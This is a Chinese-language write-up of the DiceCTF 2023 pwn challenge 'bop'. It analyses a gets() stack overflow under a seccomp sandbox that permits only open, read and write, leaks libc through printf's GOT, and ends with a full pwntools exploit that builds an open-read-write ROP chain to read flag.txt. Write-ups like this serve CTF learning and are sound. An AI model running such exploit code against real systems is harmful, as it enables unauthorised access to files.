# DiceCTF 2023 bop 题目 write up
题目来源于 dicectf 2023 中的 pwn。
# 题目分析
# 环境检查
$ checksec --file=bop | |
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | |
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2 bop |
程序并未开启 canary 保护。但是 NX 保护是开启的
但是我们用 ida 分析程序时,看到程序有开启沙箱保护,seccomp-tools 查一下,发现,只允许我们进行 orw,(open,read,write)
# IDA 静态分析
整个程序很简单,在 main 函数里面,输了缓冲区的设置,就只有 printf 函数,以及 gets 函数。
__int64 __fastcall main(int a1, char **a2, char **a3) | |
{ | |
char v4[32]; // [rsp+0h] [rbp-20h] BYREF | |
setbuf(stdin, 0LL); | |
setbuf(stdout, 0LL); | |
setbuf(stderr, 0LL); | |
printf("Do you bop? "); | |
return gets(v4); | |
} |
# 思考
很简单的栈溢出漏洞,但是问题在于,这种情况下,由于 NX 保护的开启,我们没法直接搞 shellcode,只能进行 rop, 但是程序基本不可能给我们相关的 gadgets, 比如 pop rdx;ret 以及 syscall 指令
这种情况下,ret2csu 也没有任何帮助。所以,我们只能将 libc 泄露出来,然后利用 libc 里的 gadget 编写 ORW 的 ROP
# 泄露 libc
程序里唯一的输出函数 printf, 我们控制它的参数 rdi 指向 printf got 表的地址,然后控制程序执行流程,返回到 0x401348 的位置(如果忽略清零 eax 的操作,有的时候会导致程序执行的时候报错,所以建议保留)
这样执行 printf 函数,rdi 是 printf got 地址,就会输出 printf 的真实地址。
但是问题又来了,题目附件没有给 libc,加上 LibcSearcher 功能几乎失效,所以不太好用 libcsearcher 去找对应的 libc。幸运的是题目给了简单的 Dockerfile
# 题外话 —— 自己在做题过程中,找 libc 的过程记录
出题人给了 Dockerfile,但是太过于简单
FROM pwn.red/jail:0.3.1 | |
COPY / /srv | |
COPY flag.txt /srv/app/ | |
COPY bop /srv/app/run |
由于自己队 docker 使用,还没有很熟练,在成功创建了镜像 iamge 以及容器后,自己不会启动!
最开始的想法,是改一下 Dockerfile, 利用 xinetd 部署环境的方法来替代下,但是会出现一些报错找不到对应的指令。
最后,把不必要的修改之后,
FROM pwn.red/jail:0.3.1 | |
COPY / /srv | |
COPY flag.txt /srv/app/ | |
COPY bop /srv/app/run | |
CMD ['/bin/sh'] |
依旧存在的问题是,docker run -d・・・・・・・操作之后,容器时直接运行,但是这一个无法保持运行的状态。
$ docker exec -it bop bash | |
Error response from daemon: Container 22102c68ef0f3b09575ce5ccf083614fed407a1993e6da02add7a4c08b5a1b22 is not running |
尝试 run 的时候
dreamcat@ubuntu:~/Desktop/DICE2023/bop_pwn$ docker run bop | |
/bin/sh: [/bin/sh]: not found |
最后在师傅的帮助下
dreamcat@ubuntu:~/Desktop/DICE2023/bop_pwn$ docker run -it bop /bin/sh | |
/ # |
然后就拿到了 libc, 嘤嘤嘤
拿到对应的 gadget 之后,就可以编写 rop 了
# epx
from pwn import * | |
r=process('./bop') | |
#r=remote() | |
elf = ELF('./bop') | |
libc = ELF("./libc-2.31.so") | |
context.log_level = 'debug' | |
printf_got = elf.got['printf'] | |
printf_plt = elf.plt["printf"] | |
main = 0x4012F9 | |
pop_rdi = 0x4013d3 | |
pop_rsi_r15 = 0x4013d1 | |
gdb.attach(r,'b *0x401364') | |
pad = b'a'*0x20+p64(0x404200)+p64(pop_rdi)+p64(printf_got)+p64(0x40134D)+p64(main) | |
r.sendlineafter("Do you bop? ",pad) | |
libc_addr = (u64(r.recvuntil(b'\x7f').ljust(8))&0xffffffffffff)-0x061c90 | |
info("[+]libc_addr: "+hex(libc_addr)) | |
pop_rdx = 0x142c92+libc_addr | |
pop_rsi = 0x2601f+libc_addr | |
pop_rax = 0x036174+libc_addr | |
syscall = 0x0630a9+libc_addr | |
fopen = libc_addr+libc.sym['open'] | |
read = libc_addr+libc.sym['read'] | |
puts = libc_addr+libc.sym['puts'] | |
pause(1) | |
rop = p64(pop_rdi)+p64(0x4042e0)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0) | |
rop +=p64(pop_rax)+p64(2)+p64(syscall) | |
rop += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x404300)+p64(pop_rdx)+p64(0x30) | |
rop+=p64(pop_rax)+p64(0)+p64(syscall) | |
rop +=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x404300)+p64(pop_rdx)+p64(0x30) | |
rop +=p64(pop_rax)+p64(1)+p64(syscall) | |
rop +=b'flag.txt\x00\x00' | |
pad = b'a'*0x28+rop | |
r.sendline(pad) | |
r.interactive() |